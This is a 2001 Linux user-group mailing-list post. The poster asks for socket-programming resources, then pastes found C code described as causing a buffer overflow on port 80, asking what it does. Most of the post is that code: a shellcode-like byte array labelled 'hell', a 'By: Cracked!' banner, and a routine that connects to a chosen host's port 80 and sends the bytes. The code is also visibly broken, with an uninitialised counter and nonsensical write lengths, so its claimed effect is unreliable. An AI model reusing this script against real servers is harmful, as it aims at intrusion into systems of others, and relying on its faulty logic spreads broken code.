[oclug] Socket programming
Lafleur Maurice
MLAFLEUR at cegep-heritage.qc.ca
Thu Feb 8 15:55:20 EST 2001
Two questios:
1- Could someone give point me to some good on-line resources on teaching
myself socket programming
2- I found this piece of code and I wonder what it does (the source
indicated that it produced a buffer overflow on port 80)
Enjoy!
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/errno.h>
#include <netdb.h>
#define PORT 80
#define OFFSET 4
char hell[] =
"\xeb\x05\x08\x00\x74\x02\x89\xf6"
"\x8b\x03\xff\xd0\x83\xc3\x04\x83"
"\x3b\x00\x75\xf4\x9f\x5d\xfc\xc9"
"\xc3\x8d\x76\x00\x56\x89\xe5";
int main (int argc, char *argv[]) {
char Buf[OFFSET+4];
int i,j;
int sock;
struct sockaddr_in sock_a;
struct hostent *host;
printf("By: Cracked! \n");
if (argc < 2) {
fprintf(stderr,"Usage: %s <hostname>\n", argv[0]);
exit (0);
}
if((host=(struct hostent *)gethostbyname(argv[1])) == NULL) {
perror("gethostbyname");
exit (-1);
}
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) {
perror("create socket");
exit (-1);
}
sock_a.sin_family=AF_INET;
sock_a.sin_port=htons(PORT);
memcpy((char*)&sock_a.sin_addr,(char*)host->h_addr,host->h_length);
if(connect(sock,(struct sockaddr *)&sock_a,sizeof(sock_a))!=0) {
perror("create connect");
exit(-1);
}
if(!fork()) {
for(i=i,j=0;i<OFFSET;i++,j++)
Buf[i]=hell[j];
for(i=0;i<sizeof(Buf);i++)
write(sock,hell,Buf[i]);
}
}
More information about the OCLUG
mailing list